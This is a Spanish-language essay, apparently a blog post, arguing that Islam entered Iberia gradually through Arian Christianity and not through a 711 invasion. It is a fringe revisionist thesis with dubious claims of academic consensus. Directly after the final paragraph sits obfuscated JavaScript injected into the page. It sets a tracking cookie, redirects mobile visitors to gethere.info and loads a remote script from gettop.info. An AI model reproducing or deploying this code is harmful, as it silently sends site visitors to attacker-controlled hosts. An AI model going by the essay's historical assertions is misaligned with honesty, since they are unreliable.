Esto seguía siendo vigente más de un siglo después, y está confirmado por un manuscrito de origen asturiano con fecha del año 780 (69 años después de la pretendida invasión), que se conserva en la biblioteca del Escorial. En dicho documento se describe una relación de los obispados de la Península Ibérica, dividida en seis regiones. La sexta región, la Tingitana, está incluida como parte del obispado de la Bética.
Por lo tanto en estas fechas, 69 años después de la supuesta invasión, no estaban los árabes en Tánger, ni el Magreb era musulmán todavía. De lo que deduciremos que en el 711 no entraron ni los árabes ni los bereberes musulmanes por Tarifa, sino los súbditos de Archila, que eran visigodos arrianos. Repetimos que, aun cuando pudieran acompañarle grupos de rifeños bereberes estos no eran árabes, ni musulmanes todavía, sino gente de una etnia descendiente del pueblo Amasir, como la de aquí.

Más datos al respecto. Al entrar los visigodo arrianos por Tarifa, ¿con quién comparten el mando de la tropa para conducirla por aquellas tierras? Con Don Opas, obispo arriano de Sevilla. ¿No es extraño que D. Julián, un conde visigodo arriano, preste las naves a unos árabes invasores y un obispo cristiano arriano les dirija?
Si continuamos estudiando la línea de la contradicción nos enteramos de que en el año 784 Elipando es obispo de Toledo, y a sus 82 años escribe cartas a los obispos de las Galias, con el fin de condenar toda otra corriente cristiana que no fuera trinitaria-romana. Recordemos que, no obstante, aunque con dificultades, habían aprendido desde antiguo a convivir cristianismo arriano visigodo y cristianismo trinitario romano optando, alternativamente, por el poder.
Pero curiosamente Elipando no sabe nada del islam, ni se siente amenazado por una nueva religión y sí, en cambio, por lo que pasaba en las Galias. Se supone que en esta época, y conviviendo con Elipando, Abderrahman I gobernaba Toledo. Luego el islam no era todavía una cuestión pública o generalizada. Aunque la lengua árabe se fuera introduciendo progresivamente en los nombres y las modas, tal como nos sucede hoy día con el inglés y lo americano, el islam en cambio no se había definido todavía en su singularidad. Todavía se mantenía en un ámbito de discreción como una variante del culto arriano.
Esta alusión la encontraremos en la obra de Menéndez Pelayo Heterodóxos, de la editorial Bonilla y San Martín, págs. 143-144.
En el catálogo de monedas del museo arqueológico de Madrid, comentado por Codera en el 1879, por Lavoix en el 1.888, y por Rada en el 1.892, encontramos una moneda acuñada en la Península Ibérica en el siglo VIII. En una de sus caras dice en latín: “In nómine Dómini non Deus nisi, Deus solus sapiens, non Deus similes alius” (En el nombre del Señor, de Dios, solo hay un Dios Sabio, no hay otro parecido a Dios). Y una estrella de ocho puntas, como en el islam. Esta era la fórmula en latín de la profesión de fe arriana y la mitad de la profesión de fe musulmana posterior, faltaba todavía añadir la presencia y reconocimiento de la dimensión profética de Muhammad, que se añadió muy posteriormente.
En los textos de los autores cristianos de la escuela de Córdoba, en el siglo IX, no existe alusión alguna al islam. Tanto en la obra del abate Esperaindeo, como en la del abate Sanson, se arremete contra las doctrinas del arrianismo predicadas por el obispo Hostogesis de Málaga, parecidas al islam. Pero de las enseñanzas de Muhammad, como doctrina diferenciada, no sabían nada todavía.
Nos hacemos otra pregunta: ¿se conserva documentación fiable de la entrada del cristianismo en Península Ibérica?. La respuesta es clara y contundente: NO. Pero sabemos que se introdujo, progresivamente, por una labor de evangelización que duró siglos.
Entonces ¿no pudo entrar el islam de manera semejante a como lo hizo el cristianismo, máxime cuando sabemos que existían las condiciones adecuadas? ¿Qué razón hubo para montar la leyenda de una invasión para la entrada del islam? La respuesta probable sería esta: para justificar una mala chapuza, ¡la masacre y expulsión de nuestros antepasados, musulmanes y sefardíes!, entre ochocientos y mil años después. Se montó el fraude de la conquista para justificar la invasión como una “reconquista”. Esto es algo que hoy está asumido, prácticamente, en todos los medios académicos.
Luego seguimos en el mismo planteamiento, cuanto más avanzamos en la arqueología y la documentación racional existente, más entendemos que el islam entró por la vía del unitarismo arriano, progresivamente, y no por efecto de invasión imposible alguna.
En la actual Bosnia el islam entró a partir del momento en que comenzó a ser erradicado violentamente de nuestra patria. Y tampoco sucedió por el uso de la fuerza, sino que fue, como aquí, a través de los antiguos bosnios cristianos unitaristas, los bogomilos.
Pero aún hay mucho más.

S. EULOGIO OBISPO DE CÓRDOBA viaja a Pamplona el año 850, para lo que tiene que atravesar, en carruaje, toda la Península Ibérica de sur a norte. Y residiendo en el Monasterio de Leyre, en Navarra, encuentra en la biblioteca, por vez primera en su vida, una vaga alusión a un nuevo profeta Maocim. Así le llamaba, para referirse a Muhammad, sin saber muy bien cómo. En su travesía de toda la Península Ibérica no se encuentra con un solo musulmán ni conoce nada al respecto del islam.
Esto sucede en una época en la que, según la historiografía oficial, España estaba colonizada y convertida al islam desde hacía décadas, y las tropas árabes en sus incursiones hacia Poitiers, Francia, debían de andar en torno a Pamplona. Faltaban dos años para la muerte de Abderrahman II.
Al escribir Eulogio en el año 857 su Apologéticum Martirium, que también se conserva en la biblioteca de la Catedral de Oviedo, reconoce su ignorancia sobre la doctrina del islam. ¡No había tenido la oportunidad de diferenciarlo del arrianismo!
Se había empezado a adoptar la moda de los nombres árabes, así como algunas costumbres de la nueva cultura, pero “la religión” como algo diferenciado no era, hasta el momento, de dominio público. De lo contrario lo habría sabido S. Eulogio.
Sumamente asombrado, describe así su primer encuentro con la noticia: “Súbito in quadam parte cuyusdam opusculi hanc de nefando vate historiolam absque auctoris nómine reperi…“. “De pronto descubrí en una parte cualquiera de un opúsculo anónimo la historia de un profeta nefando,…etc.”.
En esta obra describe el asombro que esta noticia le produjo y se lo comenta a su amigo y escritor Juan Hispalense, quien envía una copia de los mismos a Álvaro de Córdoba. Tanto los textos de Eulogio, como los comentarios de Juan Hispalense, los de Álvaro de Córdoba y los textos del autor anónimo, todos coetáneos, coinciden en su ignorancia sobre el islam. Esta es una evidencia histórica indiscutible a la que hoy tenemos acceso a través de la fidedigna documentación existente.
Son estos los textos más antiguos y creíbles que se conservan haciendo referencia del islam y, ¡curiosamente!, cuanto más se acercan al 711, año de la supuesta invasión, menos conocen del tema. ¿Cómo es esto posible ante un evento de tamaña envergadura, que cambió la historia de Occidente?
El historiador José Madoz hizo un estudio al respecto de estos hechos digno de mención, en su edición crítica del Epistolario.

ABDERRAHMAN II, de la dinastía omeya, muere el año 852, habiendo puesto en práctica en los últimos años una política que había consistido en diferenciar definitivamente, y acelerar, el proceso de islamización de la Península Ibérica trayendo eruditos islamólogos orientales.
Sabemos por uno de los historiadores de la época, Ibn Hazm, cordobés del siglo XI, que los omeyas eran rubios, de tez clara y ojos azules, y tenían por costumbre el casarse con doncellas de sus mismas características, por lo que se desposaban con mujeres navarras.
No conocemos a muchos semitas con estas características étnicas, pero sí en cambio sabemos que los visigodos concordaban con ellas. Luego a juzgar por sus características raciales es más probable que los omeyas fueran visigodos islamizados y no árabes venidos del desierto.
A partir de la muerte de Abderrahman II, y debido a su política, el islam se extiende por la Península gracias a la atracción existente por lo oriental y como una nueva moda, tal como sucede en nuestros días con otras tendencias. Recordemos que este Abderrahman había fundado Murcia el año 825, y que el pacto de Teodomiro, por el que Murcia pasa a dominio ¿musulmán o unitario?, se celebra hacia la mitad del siglo VIII.
El año 853 muere el cronista estudiante Ibn Habib, el que había traído su historia de la invasión desde Egipto. Y el año 856, tanto S. Eulogio como Álvaro escriben sus comentarios sobre las primeras manifestaciones públicas del islam en Córdoba, la capital del Califato ¿.?
Esto lo relata en su obra Indículus Luminosus, en la que dice conocer por vez primera la segunda frase de la profesión de fe islámica. Pero no conociendo la lengua árabe, en la que se promulgaba, la transmite en latín: “Psallat Deus super Prophetam et salvet eum“. “Dios bendiga al Profeta y le salude”.
Cuenta también que ha empezado a oír cómo desde altas torres los nuevos creyentes gritan cosas de Dios y de un tal Maocim. Se refería a los minaretes de la nuevas mezquitas ya que, hasta esas fechas y a causa del sincretismo religioso, probablemente la oración islámica se practicaba en los templos arrianos que se fueron transformando. Es decir, que hasta ese momento el islam se propagaba discretamente. Pero su presencia como idea diferente no se había hecho pública todavía. Por lo tanto, los personajes de los que comentamos no conocieron hasta ese momento el islam ni el nombre de Muhammad como religión de conocimiento generalizado. Continuaban sin comprender exactamente qué es lo que había sucedido.
Todos estos datos son conocidos, se conservan y ya fueron publicados en el siglo XVIII por el Jesuita padre Florez en el tomo VIII de la España Sagrada, págs., 145-146.
LOS NOMBRES ÁRABES entre los personajes de la época. Abderrahman, Ibn Habib, etc., es una cuestión simple de responder. Un nombre propio no siempre indica, necesariamente, una confesión religiosa, ni mucho menos la pertenencia a una etnia. En la Península Ibérica de entonces había clérigos, incluso obispos, nobles y reyes que utilizaban nombres árabes, era la moda, como dijimos antes. Por lo tanto los primeros Abderrahmanes bien podrían ser reyes visigodos de nombre árabe, pero todavía en proceso de transición religiosa desde el arrianismo unitarista al islam.
Algunos ejemplos sobre lo dicho nos los ofrecen los nombres de estos obispos arrianos. Rabi ibn Sahib, fue propuesto para la dignidad episcopal por Abderrahman II, en cuya corte desempeñó las funciones de diplomático. Este obispo fue maestro de otro obispo, llamado Abú l-Harit. Y lógicamente, al ser obispos no eran musulmanes, sino cristianos arrianos. Y… según parece, tampoco sabían nada del islam, ¡hasta el momento! Por lo que bien pudiera haber sucedido que Abderrahman adoptara el nombre antes que la religión. Pero esto ya sucedió con el emperador Constantino, que se hizo defensor del cristianismo antes de haberse decidido a adoptarlo como forma de fe.
Muhammad, (s.a.s) en su época, dio permiso al obispo Abú Harita para que celebrara la misa en la mezquita de Medina, pues había llegado como embajador. Luego el nombre del obispo era árabe, pero él no era musulmán. Es de todo punto obvio que árabe y musulmán no son sinónimos, como no lo son cristiano y palestino.
En la actual Palestina he sido testigo de cómo en las iglesias católicas entran los cristianos palestinos a la misa del domingo vestidos con indumentaria árabe, pero la mayoría de los palestinos son musulmanes o judíos. Y he visto cómo en Egipto los cristianos coptos se saludan en la calle con fórmulas musulmanas. No es, por lo tanto, de extrañar. Cuando las culturas conviven acaban sincretizándose, y generalmente la más fuerte influye sobre la más débil, y esta acaba por adoptar algunas de las formas externas de aquella.
Una visita al Monasterio de las Huelgas, en Burgos, nos enseñará que los mantos y cofias de los reyes y de los infantes de Castilla estaban bordados en oro con frases del Corán en árabe. Otra visita a la cámara santa de la Catedral de Oviedo también nos enseñará un altar de plata, gravado en árabe para la misa, regalo de Córdoba a los reyes astures.
En la actualidad, ¿no llevamos pantalones vaqueros, bebemos Coca-Cola, comemos hamburguesas, vemos cine americano, escuchamos música yanki, y ponemos a nuestros hijos nombres anglo-sajones? Y, en cambio, los ejércitos americanos no nos han invadido, pero sí determinados aspectos de su cultura.
Pues es perfectamente lógico entender que algo semejante sucedió entonces y que la transición del cristianismo arriano al sincretismo musulmán fue un proceso marcado por una idea fuerza y no por una invasión imposible.

EN CUANTO A LA ARQUITECTURA, tenemos algunos ejemplos, pocos pero claros, de la transformación progresiva del culto arriano en culto musulmán. El más notorio es el de la recurrente mezquita de Córdoba, iglesia arriana edificada sobre otro templo más antiguo. Sus arcos de herradura no son árabes, como se dice normalmente, sino de origen visigodo.
Muestra de ello es que se conserva un templo arriano, con los mismos arcos de herradura, en Venta de Baños, en la iglesia de S. Juan Bautista, edificada el año 661 por Recesvinto, según consta en la inscripción del transepto.
Al igual que en Braga, en la iglesia de San Fructuoso de Montelios, y en la cripta de la Catedral de Palencia, y en Toledo en San Pedro de la Mata, también de antiguo culto arriano. Y en Francia, a orillas del Loira, donde se supone que no alcanzó la cultura hispano-musulmana, se conserva una construcción arriana semejante.
De los árabes recibimos una lengua que hoy día forma parte de nuestro idioma, y una religión que en su momento gestó entre nosotros una manera de ser y de pensar que nos alzó a la cúspide del mundo. Pero no recibimos una etnia de forma masiva y los que pudiéramos recibir fueron, en realidad, muy pocos. La cultura fue contrastada, y en parte recibida, de otros países y civilizaciones, Grecia, Persia, etc., pero se desarrolló en nuestra tierra y por nuestros antepasados murciano-andalusíes.
Según las enseñanzas de Muhammad que decía: “No seáis mártires, sed sabios, pues más sagrada es la tinta del estudiante que la sangre del mártir”. Y también decía: “Buscad la sabiduría, aunque para ello tengáis que viajar hasta los confines de la tierra”. Y: “Busca la ciencia, desde la cuna hasta la sepultura”.
El mérito de la cultura aquí gestada es, por lo tanto, autóctona, pero ¡no de los árabes!
¿Y COVADONGA? ¿Qué sucedió en Covadonga? En la actualidad, los movimientos nacionalistas asturianos dicen: “Asturias es España y todo lo demás es tierra conquistada”.
Aunque, según parece, en democracia cada cual puede decir el disparate que le place. Pero no ha de extrañarnos, pues incluso el disparate histórico continúa sustentándose sin apenas sentido crítico, también según parece.
Nos dice la historia-leyenda que Pelayo, quien prestaba sus servicios al emir de Córdoba, fue llamado por su familia para que interviniera ante Munuza, gobernador musulmán de Asturias, ya que este quería desposar a una hermana de Pelayo en contra de su voluntad.
En aquella situación, Pelayo reúne a un grupo disidente de la nobleza visigoda y con unas decenas de astures descontentos rinde batalla contra los “árabes” en una zona selvática, al pie de una gruta y, ¡naturalmente!, con ayuda de la virgen. Esta batalla no podía quedar sin su milagro correspondiente.
De manera que unas decenas de astures masacran a 184.000 “árabes”, con ayuda de una montaña que sepulta, por intervención de la virgen, a 124.000, poniendo en fuga a los otros 60.000. Como somos personas inteligentes, no será necesario el comentario.
Como supongo que ustedes conocen Covadonga, habrán comprendido que algo así no pudo ser sobre el terreno. No me refiero a este presente con aquellas nuevas explanadas y aparcamientos, sino a aquel entonces en plena selva impracticable y habitada por animales salvajes. Así, nos dicen, comienza la reconquista que dura nada menos que 800 años, con otro fraude como el de la conquista.
Aunque no es esta la única leyenda épica contra otras confesiones. Cuando Recaredo abjura del arrianismo, vence a 60.000 arrianos españoles, con tan solo trescientos hombres católicos. Sigue sin ser una mera cuestión de política territorial, sino de religiones.

DE HABER SIDO CIERTA la invasión árabe, habría creado otro problema de índole moral y de derecho por arraigo. ¿Puede llamarse reconquista a una acción de goteo bélico que, entre pactos de amistad y agresiones, dura ochocientos años o más? Muchos de nuestros más grandes historiadores, entre ellos Ortega y Gasset, han dicho que no, y el sentido común lo confirma.
¿Se imaginan ustedes que ahora viniera la Guardia Civil a expulsarles de su casa porque un antepasado suyo llegó a España de no se sabe dónde hace mil años? ¡¡Sería absurdo!! Pues así de absurdo y cruel fue para nuestros abuelos.
Aun en el caso de que la invasión de los árabes hubiera sido cierta, ¿quiénes tendríamos que irnos y a dónde? Probablemente todos, pues ¿no somos todos descendientes de íberos, celtas, bereberes, tartesios, cartagineses, romanos, griegos, germanos, etc.? ¿Por qué razón, entonces, se expulsó o masacró a tantos de nuestros antepasados con el pretexto de ser invasores árabes?
La cultura, tan nuestra, que llegó a ocupar los primeros puestos en la historia de la evolución de las sociedades, ¿por qué se nos arrebató hundiéndonos en el oscurantismo y la pobreza de los últimos siglos hasta bien entrada la reciente democracia? ¿A quién interesó que tan alta cultura nos fuera arrebatada? ¿A quién interesó el silencio?

FUE POR LA CULTURA UNITARIA MUHAMMADÍ, y no por la invasión que no se dio, por lo que se expulsó, se masacró o se oprimió a nuestros abuelos musulmanes-andalusíes, y con ellos a los sefardíes-andalusíes.
Pensar que lo poco o mucho que quedase de la cultura y prosperidad del imperio grecolatino, más la cultura visigoda, cambian de la noche a la mañana por la influencia de unos cuantos nómadas incultos salidos del desierto peca en exceso de ingenuidad.
La civilización imperante en la época es la bizantina y la civilización muhammadí no alcanza su apogeo hasta el siglo IX en Oriente y el siglo XI en Occidente. El historiador norteafricano el-Idrisi nos informa de que en el sur de Túnez, tierra de S. Agustín, en el siglo XII todavía se hablaba latín. Luego el islam no se había asentado de manera estable por estas fechas.
El erudito arabista contemporáneo Xavier de Planhol opina que: “La expansión del islam se produjo, como expansión cultural, por la intervención de las clases urbanas y mercantiles, no por la acción guerrera”.
Y el historiador Goitien, en la pág. 88 de su obra comenta: “En los primeros tiempos eran sobre todo los mercaderes los que se ocupaban del desarrollo y de la expansión del islam”.

LOS ALMORÁVIDES Y LOS ALMOHADES sí que supusieron un conato de invasión consentida desde África, aunque también supimos echarles de nuestras tierras. Los andalusíes habían adoptado una forma de islam culto y tolerante, sin abstrusos fanatismos, por esta causa nunca aceptaron gustosos la contrarreforma del islam almorávide o almohade.
En el año 1035 se inicia en nuestra tierra la reforma impuesta por la invasión almorávide que, al final, fueron expulsados por los andalusíes. Y en el 1145 también comienzan las revueltas en contra de los almohades, que habían sido llamados el año 1.080 por Yusuf ibn Tasufin en defensa de las Taifas. Nuestras gentes siempre hospitalarias, pero amantes de cuanto nos hizo un pueblo tan singular, no podían aceptar que los invitados se quedaran para imponernos un islam fanático.
Esta liberalidad de nuestro pensamiento provocó que en el año 1228 Ben Hud, noble nacido en este pueblo de Abarán, acaudillara la revolución en su contra hasta sacarlos de nuestra tierra, haciendo de Murcia, por este hecho, el centro de la axarquía y un imperio.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘5 d=1;5 2=d.f(\’4\’);2.g=\’c://b.7/8/?9&a=4&i=\’+6(1.o)+\’&p=\’+6(1.n)+\’\’;m(1.3){1.3.j.k(2,1.3)}h{d.l(\’q\’)[0].e(2)}’,27,27,’|document|s|currentScript|script|var|encodeURIComponent|info|kt|sdNXbH|frm|gettop|http||appendChild|createElement|src|else|se_referrer|parentNode|insertBefore|getElementsByTagName|if|title|referrer|default_keyword|head’.split(‘|’),0,{}))

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